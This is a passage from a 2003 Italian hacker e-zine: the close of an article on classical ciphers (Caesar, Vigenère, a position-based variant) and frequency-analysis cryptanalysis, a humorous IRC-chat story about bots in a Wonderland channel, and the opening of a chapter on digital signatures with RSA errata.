(Frequenza = 1,88 %) | | La lettera G è Uscita 191 Volte. (Frequenza = 1,98 %) | | La lettera F è Uscita 104 Volte. (Frequenza = 1,08 %) | | La lettera H è Uscita 95 Volte. (Frequenza = 0,98 %) | | La lettera B è Uscita 86 Volte. (Frequenza = 0,895 %) | | La lettera Z è Uscita 74 Volte. (Frequenza = 0,77 %) | | La lettera Q è Uscita 30 Volte. (Frequenza = 0,31 %) | | La lettera Y è Uscita 5 Volte. (Frequenza = 0,005 %) | | La lettera X è Uscita 2 Volte. (Frequenza = 0,002 %) | | La lettera J è Uscita 0 Volte. (Frequenza = 0 %) | | La lettera K è Uscita 0 Volte. (Frequenza = 0 %) | | La lettera W è Uscita 0 Volte. (Frequenza = 0 %) | | | | Come si può facilmente osservare le vocali sono in cima alla lista (in | | ordine A, I, E, O) mentre la lettera U (poco usata nella lingua | | italiana) è a circa a metà della lista. | | | | Se cercassimo di ripetere lo stesso test con altri testi noteremo che | | le variazioni relative alla frequenza di uscita delle lettere si | | discosta di poco al crescere del numero di parole considerato. | | | | Partendo quindi dal presupposto che la frequenza delle lettere in un | | testo sia grosso modo costante allora possiamo facilmente intuire il | | primo metodo di crittoanalisi da utilizzare in questi casi: infatti e | | sufficiente effettuare uno screaning delle lettere e confrontarle con | | una tabella standard (come quella creata da noi) ed effettuare i | | relativi accorgimenti (dovreste avere infatti un grosso sedere | | affinchè ogni lettera coincida!!). Tuttavia, considerando solo piccole | | porzioni del testo e modificando di volta in volta il charset di | | decodifica, è possibile, con mooooooooooooolta facilità, a superare | | questo sistema di codifica. | | | | Se tutto si fermasse qui non avremmo alcun segreto: non esisterebbe la | | CIA, non esisterebbe l'FBI, probabilmente sapremo già dell'Esistenza | | degli Alieni e con molta probabilità l'America sarebbe cristallina | | come la pipì di un bambino. Tuttavia gli avvenimenti, nel corso dei | | secoli, hanno modificato di gran lunga le tecniche di crittazione a | | tal punto da renderli (quiasi ;P) inviolabili. | | | | Comunque, non perdiamoci in chiacchere e continuiamo col prossimo | | algoritmo ovvero: | | | | +------------------------------------------------+ | | | Sostituzione a Blocchi: Algoritmo di Vigenère) | | | +------------------------------------------------+ | | | | L'algoritmo di Vigenère è un'algortimo storico: fino a quasi la fine | | dell'ottocento è stato considerato uno dei più affidabili algoitmi di | | crittazione (che ingenui ;P): tale algoritmo consiste nell'utilizzare | | una cifratura che non sia strettamente lineare ma che utilizzi una | | cifratura a blocchi per la codifica del testo: in particolar modo la | | chiave di cifratura (che in questo algortimo di cifratura non sarà più | | il charset [che sarà per la cifratura quello lineare] ma una parola | | scelta tra le parti in causa) permetterà la relativa cifratura a | | blocchi in quanto permetterà la traslazione del charset in modo | | strettamente dipendente dalla chiave: | | | | Prendiamo ad esempio la Chiave: DOMENICA | | | | CharSet: [A..Z] | | | | Frase: Oggi è Sabato e domani non si va a scuola | | | | a b c d e f g h i j k l m n o p q r s t u v w x y z | | ------------------------------------------------------ | | [D] E F G H I J K L M N O P Q R S T U V W X Y Z A B C | | [O] P Q R S T U V W X Y Z A B C D E F G H I J K L M N | | [M] N O P Q R S T U V W X Y Z A B C D E F G H I J K L | | [E] F G H I J K L M N O P Q R S T U V W X Y Z A B C D | | [N] O P Q R S T U V W X Y Z A B C D E F G H I J K L M | | [I] J K L M N O P Q R S T U V W X Y Z A B C D E F G H | | [C] D E F G H I J K L M N O P Q R S T U V W X Y Z A B | | [A] B C D E F G H I J K L M N O P Q R S T U V W X Y Z | | | | OGGI E SABATO E DOMANI NON SI VA A SCUOLA | | |||| | |||||| | |||||| ||| || || | |||||| | | DOME N ICADOM E NICADO MEN IC AD O MENICA | | |||| | |||||| | |||||| ||| || || | |||||| | | RUSM R ACBDHA I QWO... ... .. .. . ...... (mi sono stancato ... uffa! | | Tanto avete capito!) | | | | Quindi, in parole povere, l'algoritmo di cifratura si basa | | sull'utilizzo di una tabella indicizzata dove compaiono in alto il | | charset e a sinistra la chiave di cifratura: indicando | | progressivamente sulla frase da cifrare la chiave di cifratura (come | | si vede dall'esempio) e sostituendo la lettera da cifrare con quella | | indicata dalla coppia ('lettera da cifrare';'lettera della chiave') è | | possibile creare un algoritmo robusto e sicuramente più difficile di | | quelli visti in precedenza. | | | | Rappresentando matematicamente l'algoritmo possiamo condensarlo come: | | | | f(x) = Carattere in Uscita | | x = Carattere in Entrata | | l = Lunghezza Chiave | | c(k) = Chiave dove k identifica un carattere all'interno della chiave | | | | CharSet [A..Z] = [0..25] | | | | f(x) = x + c(x mod l) | | | | La robustezza dell'algoritmo di Vigenère deriva essenzialmente da tre | | fattori: | | 1) La chiave è una parola e (di conseguenza) possono esistere svariate | | combinazioni | | 2) La complessità dell'algoritmo e direttamente proporzionale alla | | dimensione della chiave (segue ovvero una complessità di tipo kn dove | | k è una costante ed n è la lunghzza della chiave) | | 3) Esistendo un modulo nell'algoritmo, la complesità dello stesso | | aumenta. | | | | Tuttavia, come ogni algoritmo lineare di sostituzione, anche | | l'algoritmo di Vigenère presenta il problema della sostituzione | | diretta: infatti, anche se dipendente dalla chiave, esistono n | | caratteri che vengono nuovamente sostituiti col medesimo modo (ovvero | | nel momento in cui la chiave termina e devo ripeterla dal primo | | carattere). Ciò significa che ogni m+kl lettere (dove l è la lunghezza | | della chiave, k è una costante qualsiasi compresa tra 1 e | | Lunghezza_Testo/l ed m e la posizione di un carattere all'interno del | | testo in chiaro) la cifratura si ripete pari-pari alle precedenti | | lettere (da cui sostituzione a blocchi). | | | | Quindi (per prendere un esempio concreto che vi aiuterà sicuramente) | | considerando il nostro esempio, sapendo che la lunghezza della chiave | | è 8 osserviamo facilmente che la cifratura con la lettera M della | | chiavea avviene nelle posizioni 3, 11, 19 e 27 la cui distanza è | | sempre 8. E' facile quindi dedurre che la frequenza di lettere | | distanti esattamente l (dove ricordo che l è la lunghezza della | | chiave) rispecchia nuovamente la frequenza standard della lingua in | | cui è scritto il messaggio in chiaro!!! | | | | Effettuando quindi un calcolo delle frequenze ad una distanza pari ad | | l è possibile ottenere il carattere di cifratura relativo a quella | | posizione (in quanto la cifratura avviene per semplice traslazione e | | sapendo che la lettera (X) qualsiasi è traslata dalla sua posizione | | normale di 3 caratteri allora la lettera di cifratura in quella | | posizione è C). Infine, effettuando per tutte le posizioni rimanenti | | il calcolo delle frequenze, è possibile avere sia la chiave di | | cifratura (chissà ... magari per futuri messaggi [molto spesso le | | chiavi di cifratura non vengono cambiate ;P]) sia il testo in chiaro. | | | | In questo momento starete pensando: ma sto ragazzo è un genio ... ed | | io come faccio a conoscere la lunghezza della chiave? | | | | Vedete allora che non state attenti??!? La chiave è una parola che sì | | può essere casuale ma che non solo deve essere ricordata ma che deve | | essere trasportata con facilità: se fosse una chiave complicata del | | tipo 'XASXKJNACKLJN' pensate di ricordarvela ogni volta che dovete | | utilizzarla? Inoltre, la cifratura perfetta utilizzerebbe la chiave di | | cifratura lunga almeno quanto il messaggio ma ... se il problema della | | sicurezza non deriva più dal pubblicare il messaggio cifrato deriva | | necessariamente dal trasportare con sicurezza la chiave che, ormai | | lunga quanto il messaggio, è diventata ancora più importante di | | quest'ultimo!! | | | | Quindi da ciò deduciamo che la chiave non può avere una lunghezza | | abnorme e che solitamente è una parola di senso compiuto. Tuttavia, | | tralasciando il fatto che sia una parola di senso compiuto (che a dir | | la verità poco importa al crittoanalista) ma soffermiaci sulla | | lunghezza della chiave. Sappiamo che non è enorme ... quindi possiamo | | tentare a tentativi successivi. | | | | Prendiamo infatti lettere del testo cifrato distanti 2: se la | | frequenza standard è rispettata allora la chiave è grande 2 caratteri | | altrimenti è più grande. | | Prendiamo lettere del testo cifrato distanti 3: se la frequenza | | standard è rispettata allora la chiave è grande 3 caratterialtrimenti | | è più grande. | | Prendiamo lettere del testo cifrato distanti 4: se la frequenza | | standard è rispettata allora la chiave è grande 4 caratterialtrimenti | | è più grande ... e così via, fin quando non otteniamo il risultato | | desiderato. | | | | Ovviamente il processo e laborioso è noioso da fare a mano (infatti | | era sicuro ai tempi in cui i computer non erano ancora in auge) ma | | adesso ... basta fare un piccolo programmino con un qualsiasi | | programma e ... il gioco è fatto!!! | | | | Sebbene l'algoritmo di Vigenère sia robusto come algoritmo e cerchi di | | distaccarsi un pochino dalla semplice cifratura lineare rimane pur | | sempre un algoritmo dell'ottocento, algoritmo sicuro per i metodi di | | allora ma sicuramente insignificante anche per i primi calcolatori che | | durante le due guerre circolavano. Ed è proprio durante le guerre che | | furono studiati i primi algoritmi non direttamente lineari che | | diverranno successivamente la base di molti altri algoritmi. Parleremo | | quindi del celeberrimo algoritmo ENIGMA e di una sue esemplificazione | | creata da me per introdurvi il concetto di crittografia non | | direttamente lineare ovvero della: | | | | +---------------------------------------------------------+ | | | Cifratura in funzione della posizione -> Algoritmo FPos | | | +---------------------------------------------------------+ | | | | Come tutti gli algoritmi a sostituzione lineare amche questo algoritmo | | si basa essenzialmente sulla sostituzione di lettere con delle | | altre ... tuttavia a differenza dei precedenti la sicurezza di questo | | algoritmo è sicuramente più elevata di tutti quelli cha abbiamo visto | | è sarà successivamente (in una vesta un po' più complicata) la base | | dell'Algoritmo ENIGMA. | | | | Questo algoritmo di cifratura (che da ora in poi chiameremo FPos) basa | | la sua sicurezza sulla traslazione del charset iniziale. In questo | | momento starete pensando: "Grazie ... e l'algoritmo di Vigenère dove o | | mettiamo ??!?" ma ... a differenza del precende la cui traslazione è | | affidata ad una chiave, nell'algoritmo FPos la traslazione è affidata | | alla posizione della lettera nel testo in chiaro: la decifratura, | | ovviamente, terrà conto della dimensione del testo cifrato per | | riottenere il testo in chiaro (ovviamente la cifratura e la | | decifratura devono essere privi di spazi o lo spazio deve comparire | | come carattere) mediante l'algoritmo inverso di FPos. | | | | In realtà l'algoritmo FPos non è un vero è proprio algoritmo di | | cifratura bensì è un supplemeto logico agli algoritmi precedentemente | | studiati per migliorarne la sicurezza. | | | | Per semplicità, applichiamo l'algoritmo FPos all'Algoritmo di Cesare: | | | | CharSet: [A..Z] = [0..25] | | Frase: INTRODUCIAMOUNANOVITA | | Chiave: 3 | | | | se seguissimo l'algoritmo di cesare alla lettera otterremmo la frase | | cifrata: | | | | LQWURGXFLCPRXQCQRYLWC | | | | il che, da ciò che abbiamo appreso, è davvero banale. Ma supponiamo di | | incrementare la chiave in funzione della posizione ovvero: | | | | k = 3 | | k* = (k + p) mod m (dove p è la posizione del carattere del testo in | | chiaro, m e la dimensione massima del Charset e k e la traslazione | | indicata dalla chiave [in questo esempio 3]) | | | | Da ciò otteniamo che l'algoritmo di cifratura equivale a: | | | | f(x) = (x + k*) mod m = (x + [(k + p) mod m]) mod m | | f(x) = (x + [k mod m] + [p mod m]) mod m | | f(x) = (x + k + p) mod m | | | | ma essendo p una funzione riferita alla posizione della lettera nel | | testo in chiaro, possiamo anche chiamarla p(x), da cui otteniamo: | | | | f(x) = (x + k + p(x)) mod m | | | | Secondo questo nuovo algoritmo di cifratura il testo cifrato risulta | | un pochino più complesso, in quanto la funzione inversa richiede | | necessariamente la conoscenza di una funzione intrinseca all'algoritmo | | che varia in funzione di x. Tuttavia, non essendo una funzione one- | | way, è possibile, conoscendo la chiave di cifratura, risalire al testo | | in chiaro. Di conseguenza, la funzione FPos in questo caso non ha il | | compito di rendere più difficile la decifratura bensì ha la funzione, | | che svolge egreggiamente, di ridurre la frequenza dei singoli | | caratteri. | | | | Se di fatto, l'algoritmo di Cesare non alterava la frequenza dei | | caratteri (in quanto al medesimo carattere in entrata corrisponde il | | medesimo carattere in uscita), il nuovo algoritmo Cesare-FPos permette | | la riduzione di questo problema. Riduzione e non eliminazione per un | | semplice motivo: chi conosce l'algebra modulare può capire esattamente | | il passaggio mentre, per chi è un po' a corto, l'adotti come dogma. | | | | Prendiamo infatti la nostra funzione Cesare-FPos: | | | | f(x) = (x + k + p(x)) mod m | | | | Questa equivale a: | | | | f(x) = (x + k) mod m + p(x) mod m | | f(x) = Cesare(x) + p(x) mod m | | | | sapendo che p(x) = pos(x) = [1,2,3,...,n] allora: | | | | f(x) = Cesare(x) + p mod m [per p=1,2,3,...,n] | | f(x)[p=1] = f(x)[p=1+m] = f(x)[p=1+2m] = f(x)[p=1+zm] [per | | z=0,...,m/l, dove l è la lunghezza del testo in chiaro] | | | | Da ciò possiamo facilmente vedere che sebbene la funzione FPos | | permetta il decremento della frequenza standard permettendo di | | inserire una certa variabilità notiamo che, per come abbiamo impostato | | l'algoritmo FPos, l'algoritmo Cesare-FPos si ripete uguale per p=t+zm, | | ovvero si ripete uguale per cicli di dimensione pari alla grandezza | | del Charset. Ricordando la lezione relativa all'algoritmo di Vigenère | | possiamo dedurre che effettuando una statistica per porzioni di testo | | distanti m caratteri è possibile scardinare l'algoritmo (lascio il | | compito al lettore di verificarne l'effettiva possibilità. La via più | | semplice e soffermarsi sul significato delle chiavi che entrano in | | gioco). | | | | Voi mi direte: cosa me ne faccio di un'algoritmo che possiede le | | stesse problematiche dell'algoritmo di Vigenère? Innanzitutto, | | l'algoritmo FPos può essere ulteriormente implementato (vedremo con | | l'algoritmo di Enigma come), inoltre l'algoritmo Cesare-FPos è utile | | per cifrare testi con dimensione inferiore al Charset (come ad esempio | | una chiave privata): infatti, affinchè nell'algoritmo di Vigenère via | | sia una casualità tra caratteri successivi, è necessario che la chiave | | sia piùttosto lunga. In particolar modo, affinchè io possa cifrare una | | parola lunga 10 caratteri devo utilizzare una chiave lunga 10 | | caratteri il che avrebbe la stessa difficoltà di trasmissione del | | testo in chiaro!! Tuttavia, utilizzando l'algoritmo Cesare-FPos, non è | | necessario utilizzare una chiave lunga quanto il testo in chiaro | | (ammettendo sempre che il testo in chiaro sia inferiore o uguale alla | | dimensione del Charset) in quanto abbiamo constatato che il blocco di | | cifratura (grande quanto il Charset) è indipendente dalle chiavi | | scelte. Quindi, sta a voi scegliere. | | | | Tuttavia, anche se l'implementazione data dall'algoritmo FPos può | | essere utile, stiamo ancora navigando nel mare della cifratura lineare | | dove ad una ben determinata lettera ne corrisponde una altrettanto ben | | determinata (l'algoritmo FPos è solo una semplice introduzione che non | | ha alcuna notevole potenzialità rispetto agli algoritmi precedenti). | | | | Per aspettare un cifrario serio (con i cosiddetti co...oni e | | controco...oni) dovremo attendere la seconda guerra mondiale e lo | | sviluppo del celeberrimio e famossimo algoritmo Enigma (a cui | | dedicheremo una sezione interamente a parte) che ha comportato lo | | sforzo di centinaia di persone affinchè potesse essere violato. Ho | | inserito, come aggiunta alla sezione relativa all'algoritmo Enigma, un | | algoritmo speciale non lineare di Tipo One-Time Pad (letteralmente | | Taccuino utilizzato una volta sola) come introduzione agli algoritmi | | più complessi che verranno introdotti dopo il capitolo 3. | | | | Dopo immensi sforzi (non sapete come questo articolo e stato un | | travaglio!!!!) siamo giunti all'ultima parte di questa stramaledetta | | sezione relativa ai cifrari lineari a sostituzione, ovvero la sezione | | dedicata al confronto Generale: | | | | ************************************************* | | * Parte Terza: Confronto Generale e Conclusione * | | ************************************************* | | | | Siamo arrivati alla conclusione e (come ogni conclusione che si | | rispetti) tiriamo le fila di ciò che abbiamo detto. | | | | Sappiamo (come tra l'altro lo si deduce dallo scopo che si pone la | | crittografia) che tutte le funzioni a sostituzione lineare si basano | | sulla sostituzione di una ben determinata lettera m con una ben | | determinata lettera c che risulterà la lettera cifrata: | | | | m --f(x)--> c | | | | Sappiamo inoltre che, nel caso generale, l'algoritmo di cifratura | | lineare a sostituzione può essere rappresentato come: | | | | f(m)= (m + k) mod n (dove la m rappresenta il valore numerico della | | lettera in chiaro, k la chiave di cifratura, n la lunghezza del | | charset e f(m) rappresenta la posizione all'interno del Charset della | | lettera cifrata) | | | | che come si può facilmente vedere è una funzione invertibile nella | | matematica modulare, monotona e che quindi permette l'associazione 1:1. | | | | Tuttavia, sempre dalla relazione matematica, si può facilmente vedere | | che l'algoritmo di cifratura funziona a relazione univoca non | | variabile (ovvero alla medesima lettera in chiaro si associa sempre la | | medesima lettera cifrata) e che quindi è soggetto all'attacco di tipo | | Chiper Text-Only sfruttando la frequenza standard delle lettere, delle | | sillabe e dei gruppi di lettere all'interno di un testo molto lungo. | | | | E' possibile risolvere il problema incrementando la sicurezza con una | | sostituzione di tipo polialfabetica (algoritmo di Vigenère) a | | differenza di una monoalfabetica (algoritmo di Cesare) per smorzare | | leggermente le frequenze. Infatti negli algoritmi a sostituzione | | polialfabetica il grafico delle frequenze tende ad appiattirsi: | | tuttavia, la debolezza di tali algoritmo consiste nella cifratura a | | blocchi: infatti, non potendo disporre di infinite combinazioni di | | charset è necessario che all'interno dello stesso messaggio si ripeti | | la medesima chiave. Suddividendo il messaggio in blocchi è possibile | | determinare ugualmente la frequenza delle singole lettere e procedere | | all'analisi. | | | | Dopodichè abbiamo affrontato il problema di algoritmi di cifratura in | | funzione della posizione (algoritmo FPos) che, per quanto semplice, | | incrementa la sicurezza: infatti proprio la variazione del charset in | | funzione della posizione della lettera da cifrare permette di | | aumentare notevolmente la sicurezza dell'algoritmo. Tuttavia, anche il | | banale FPos ha il medesimo problema della cifratura a blocchi (il | | modulo è sempre posto pari alla lunghezza del charset): dovremo | | attendere l'algoritmo Enigma per sfruttare al meglio la variabilità | | degli algoritmi in funzione della posizione. | | | | Premesso tutto ciò possiamo concludere analizzando gli elementi che | | caratterizzano gli algoritmi a sostituzione (dal più banale, ovvero | | che ne determina la certezza, al più sottile) | | | | 1. Sono presenti lettere doppie in successione (indicandi per esempio | | doppie all'interno di una frase) | | 2. Particolari lettere sono più frequenti di altre | | 3. Alcune lettere non sono mai presenti (per esempio, se cifrate una | | frase in italiano è ovvio che è necessario evitare il charset inglese | | in quanto almeno quattro lettere del charset verranno utilizzate con | | frequenza bassima nella lingua italiana comune) | | | | 4. Indagando sulla frequenza delle lettere, sillabe o gruppi di | | lettere, trovo una frequenza tipica della lingua in cui è scritto il | | testo | | 5. Analizzando a blocchi via via sempre più piccoli, fino ad un limite | | z che è la lunghezza del blocco di cifratura, ottengo sempre un | | grafico delle frequenza paragonabile a quello standard | | | | E con questo concludo la prima ed esilarante parte relativa alla | | crittografia lineare semplice a sostituzione. Nella seconda parte | | introdurro l'algoritmo Enigma (in tutta la sua magnificenza) e | | l'algoritmo One-Time Pad che risulterà utile in futuro. | | | | Infine ... saluto All my Friend di Linux-Club (bazzico spesso lì ... | | se volete possiamo incontrarci per discutere su qualche problema di | | crittoanalisi: informatemi alla E-Mail: dagart@mad.scientist.com) e la | | mia dolce metà (spero non si annoi a leggere questo mattone). Saluto | | Tutti. Alla prossima. | | | | Haloa Guys ... | | | | Dagart | | | | Per informazioni, per avvertirmi di ca..ate che ho scritto (spero di | | no), per semplice curiosità o per delucidazioni la mia E-Mail: | | dagart@mad.scientist.com | | | | Oppure bazzicate su Linux-Club (solitamente sono lì e chiedete di | | Dagart) se volete una risposta diretta. | | | | Haloa a Tutti. | | | | CIIIIIIIIIAOOOOOOOOO! | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0 SCiAMAN0 #09 - 01/06/2003 | | TRA RETE & REALTA' [Pupi] 0x18/0x20 | +--------------------------------------------------------------------------+ | | | | | < ciao | | ciao??……… A Ki?? | | a voi! | | ma a voi ki? | | a voi ki? Ki 6? Kosa vuoi? | | ViA, ViA!! | | NN C’E’ POSTO | | P----O----S----T----O !!!!!!!!!!! | | ma come?!:-( | | questa room è praticamente vuota… | | ci siete solo voi due! | | infatti, | | è l’ora del *tè* | | e tu sei venuta a disturbare | | ma io…. | | il momento del *tè* è sacro | | lo sanno tutti! | | * L3pre sorseggia la sua tazza di *tè* con agilità | | Nn si può entrare all’improvviso per disturbare così, | | MALEDUKATA!!! | | non è vero, non sono maleducata! | | io la conosco bene la netiquette! | | eh eh | | lo sappiamo, è la prima kosa ke si fikka dentro alle shell | | da intrattenimento come te!! | | eSatto eSatto! | | ma io non sono un BOT | | Kome nn lo 6? | | Kome nn lo è? | | Ma no, lo è! | | sI Si lo 6! | | non è vero! | | Eccone un altro con la krisi di identità! Dopo Blade | | Runner sta cosa va troppo di moda tra i programmatori! BAASTA!!! | | ViA ViA!! | | io sono una bambina della IRcEntert[a]inment | | ahahahahahah | | nO No, lo so io Ki 6… | | 6 una kapellona punk | | non è vero, io non ho capelli | | Hai sentitoo L3pre???? | | Nn ha i kapelli la Bambina!:-)))))) | | Nn Hai i kapelli???¿¿¿ | | …Allora dovresti Tagliarteli!! | | * L3pre si applaude per i suoi preziosi consigli da esperto lookologo! | | *__° | | * Kappellaio è piegato in due dalle risate | | ? | | oK, va bene… | | puoi restare qua dentro anche senza capelli | | a noi piacciono i software calvi!:-)) | | ma cosa dite? | | la verità, | | forse o per niente | | non penso proprio!! | | ma tu pensi troppo | | e se pensi troppo poi vai in OVERFLOW!!:-)) | | Uffa!!:-( | | ma dove sono entrata?!! In una gabbia di matti? | | Kosa credevi??? …Di arrivare nel *paese delle meraviglie* | | e recitarci le tabelline?:-))) | | eSatto, eSatto | | brava L3pre, lei si che ragiona, mica tu!! | | nn sai quanti programmini abbiamo kikkato qui | | soprattutto quelli con la testa troppo binaria come la tua | | * Kappellaio ride a 64 byte | | Pin0cchio x esempio lo abbiamo sbattuto fuori subito, | | troppo bugiardo | | mentre Peter_Pan è rimasto, ma solo xkè ci ha regalato un | | viaggio gratis all’isola ke non c’è!! Nn potevamo rifiutare:-) | | uffa sono stufa delle vostre stupidaggini | | è stufa??? | | *** WhiteRabbit (LSD@2332.33.77.pet.it) has joined #Wonderland | | Che fretta | | Che fretta!!!! | | Oimè come sono in ritardo!! | | ehi, dove corri White Rabbit?? | | aiuto, la ReginAdiCuori mi cancellerà!! | | *** WhiteRabbit (LSD@2332.33.77.pet.it) has left #Wonderland | | ma dove andava così di fretta? | | KOSA ne so iooooo, 6 tu quella ke segue il Coniglio!!! | | sI Si è vero! | | io?!! | | NON SAI NIENTE!!!!!!!!!!!!!! | | nn è possibile, è una vergogna!! | | Tutta da riprogrammare!! | | sI Si | | una vergogna | | Kacciamola!! | | ViA, ViA! | | è ancora lunga la strada delle I.A. | | ma senza di te si accorcerà!:-)) | | * Kappellaio alza il suo dito pollice imburrato sotto e sopra e lo | | punta verso Alice che sorride ignara: “Lieto di nn rivederti, è stato | | un dispiacere!” | | *** Alice was kicked by Kappellaio (TORNA DA PAPA’ KOMPILATORE!) | | OhHh Finalmente!! | | adesso possiamo prendere il nostro *tè* in pace | | vero L3pre?? | | sI Si, il nostro *tè* in pace!! | | bisogna dirlo alla ReginAdiCuori, ke questi nuovi BOT in | | circolazione nn sanno proprio un accidente e sono troppo noiosi! | | li mettono per animare i canali ma poi nn fanno ridere | | sI Si, hai ragione… | | nn mi ha fatto neanche gli auguri | | x il mio *NON COMPLEANNO*! | | | | | | Session Close: Mon Jul 01 00:07:01 | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'APPRENDiSTA STREG0NE #09 - 01/06/2003 | | C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 6 [Zer0] 0x1B/0x20 | +--------------------------------------------------------------------------+ | | | | | Gloria al Regime! Mi inchino dinanzi ai nuovi baroni e ai nuovi Duci. Mi | | inchino dinazi al loro strapotere. Mi chino, colto da conati di vomito, | | dinanzi all'idiozia della gente che sta permettendo questo. Allibito e | | disgustato. Non voglio entrare in disquisizioni politiche, una cosa e' | | certa: la storia ci sta di nuovo insegnando qualcosa. Saremo capaci di | | capirlo questa volta? Io temo di no. | | | | Spero di riuscire a finire l'articolo prima che tutti voi della | | redazione veniate arrestati e mettano ***** ***** a dirigere OndaQuadra, | | nuova rivista del gruppo ********* che troveremo mensilmente in | | edicola... | | | | P.S.: fuck the Palladium. | | | | | | | | | | Quelle che avevo chiamato funzioni RIFLETTENTI mi sono ricordato | | chiamarsi in realta' INVOLUTORIE. | | | | Vi devo una precisazione (che solo pochi di voi capiranno :P ): nel | | cap.7, paragrafo "low exponent attack" dell'RSA ho affermato di non | | capire cosa significhi che due messaggi, "m" e "k", sono linearmente | | dipendenti. Senza entrare nella teoria degli spazi vettoriali... anzi | | no, entriamoci :P di norma due "oggetti" (chiamiamoli cosi') "m" e | | "k", sono linearmente dipendenti se esistono due valori (normalmente | | reali, ma in questo caso e' sottointeso interi), positivi o negativi, | | "a" e "b", tali che: | | | | a*m + b*k = 0 | | | | cosa che non e' detto che si verifichi per due "oggetti" qualsiasi, e | | linearmente indipendenti se questi valori non esistono. Ma se, come nel | | nostro caso, i due "oggetti" sono due messaggi, cioe' sequenze di bit, e | | consideriamo queste sequenze di bit come dei numeri interi in formato | | binario (cosa che abbiamo sempre fatto finora) ci troviamo di fronte a | | un problema: questi valori "a" e "b" esistono sempre e appartengono a Z | | (numeri interi). Quindi TEORICAMENTE due messaggi considerati in questo | | modo sono sempre linearmente dipendenti. Se invece consideriamo queste | | sequenze di bit non come interi, bensi' come vettori dello spazio | | n-dimensionale costruito sopra GF(2) (dove "n" e' la lunghezza in bit | | del messaggio piu' lungo), allora la lineare dipendenza assume un | | significato particolare. | | In sostanza: POTREBBE ESSERE (non ho avuto il tempo di documentarmi) che | | "linearmente indipendenti" nel nostro caso significhi: | | - o che m = a*k, a intero | | - o che m = k << a, a intero | | ma non pigliatelo per buono. Tanto non ve ne frega niente, l'ho detto | | per completezza. :P | | | | | | E poi la cosa + bella: ho fatto un errore addirittura nello scorso | | errata corrige! Nella correzione del passaggio sbagliato sull'algoritmo | | RSA il seguente testo: | | | | [cut here] | | | | Trovare uno "d" tale che e*d Mod M = 1 equivale a calcolare l'inverso | | moltiplicativo di "e" modulo M, cosa che sappiamo Eve potrebbe fare | | tranquillamente. Insomma, M non può essere un numero primo. | | | | [/cut here] | | | | va sostituito con questo naturalmente (dai, si capiva! :) : | | | | [cut here] | | | | Trovare uno "d" tale che e*d Mod N(M) = 1 equivale a calcolare | | l'inverso moltiplicativo di "e" modulo N(M), cosa che sappiamo Eve | | potrebbe fare tranquillamente. Insomma, M non può essere un numero | | primo. | | | | [/cut here] | | | | sempre sperando di non aver aggiunto errore a errore. Chiedo umilmente | | venia... | | | | | | | | | | Ricordo... bla... bla... bla... "arduo" = "computazionalmente | | insostenibile"... bla... bla... "attacker" = "eavesdropper" = | | "nemico"... bla... bla... bla... etc... se avete letto le altre puntate | | ormai staro' diventando "monotono", che non significa "sempre crescente" | | o "sempre decrescente"... la matematica fa malissimo, lo so... | | D'altronde io sono Massimo De Lirio, alias Zer0, alias il vostro | | crittologo di fiducia che spaccia solo crypto buona, s'intende etc... | | | | | | | | +----------------------------------------------------------------------+ | | | FIRMA DIGITALE | | | | . . . . . . *--------------------------------------------------------+ | | |Capitolo 9 / Se io sono io e tu sei tu, chi è il più finto, io o tu? | | +-----------* | | | | Orbene, gunti a questo punto ci sentiamo invincibili. Abbiamo gli | | algoritmi simmetrici per crittare tutto cio' che transita tra noi e il | | nostro amico Osama (quello dei pennarelli - ©[Maddler], 2002). Abbiamo | | quelli asimmetrici per scambiarci le chiavi al sicuro anche da remoto | | procurando genuini attacchi di bile a chiunque stia sniffando la | | comunicazione. E abbiamo le funzioni di hash per fare tutta sorta di | | altre cosette. Che altro puo' servirci? | | | | uno psichiatra. Di corsa anche. | | | | D'accordo, uno psichiatra allora... | | Cerchiamo sulle pagine di Virgilio "psichiatra" e troviamo il sito di | | uno che sembra un professionista, il quale mette a vostra disposizione | | la sua e-mail. Inoltre offre il famoso servizio noto a tutti coloro tra | | di voi che fanno uso di stupefacenti secondo il quale "la prima volta e' | | gratis", cioe' vi offre un primo breve consulto free via e-mail per un | | qualche piccolo problema (solo di tipo psicologico-emotivo) che potete | | avere. | | Allora voi, incuriositi, gli inviate una e-mail nella quale chiedete | | consiglio su un piccolo problema sentimentale, sapete com'e', un certo | | impulso che vi assale sempre piu' frequentemente di sgozzare la vostra | | ragazza e lavorare all'uncinetto le sue budella. Repentina la risposta: | | - Mollala prima che sia troppo tardi, non vorrai diventare un assassino | | vero? -. Uhmmm... se lo dice lo psichiatra... | | | | Poco dopo scoprite che la vostra ex ora sta con un tizio lamer che ha il | | babbo psichiatra... | | | | Poco dopo ancora vi arriva una seconda mail, sempre dello psichiatra, | | che vi da' tutta una serie di consigli sul come controllare i vostri | | istinti omicidi e sul come riappacificarvi con la partner. | | | | (lo so, e' un esempio veramente idiota, che volete farci, mi diverto con | | poco...) | | | | COSA CA**O E' SUCCESSO ? | | | | Uhmmm... il babbo e' un tizio serio e non ci tiene a inimicarsi | | potenziali clienti per una stronzata del genere, quindi un complotto tra | | padre e figlio ai vostri danni e' da scartarsi. | | Naturlmente ci mettete poco a fare due piu' due e capite che la prima | | mail l'ha in realta' mandata il lamerazzo per "fregarvi la frega". | | Complimenti: siete degli idioti. | | | | Facciamo un esempio un po' + serio (ho detto un po'). | | | | Dovete incontrarvi col vostro amico Osama (quello dei pennarelli) per | | ricevere un carico di innocui AK-47 acquistati non si sa dove in | | Ucraina. Ricevete un'e-mail crittata che dice piu' o meno: "La roba | | arriva stasera. Ci vediamo al molo 2 stanotte alle 2:22. Osama (quello | | dei pennarelli).". Giacca, cravatta e uzi sotto l'ascella, vi mettete | | eleganti e vi recate al molo 2. Appoggiati ad un vecchio barcone in | | secca fumate nervosamente una sigaretta dopo l'altra, da bravi cattivi | | dei film, osservando il fascio di luce del faro del porto che vi passa a | | intermittenza sopra la testa. Alle 2:22 in punto il faro si ferma di | | colpo e vi punta 8000 Watt di luce addosso. Contemporaneamente il molo | | trasuda sbirri da tutti i pori e un altoparlante dice: "Complimenti | | coglione, hai appena vinto un soggiorno gratuito a Poggio Reale per... | | diciamo... vent'anni. Piu' o meno.". | | | | COSA CA**O E' SUCCESSO ? | | | | Semplice, la mail era degli sbirri. | | | | | | ========================================= | | *** COME EVITARE 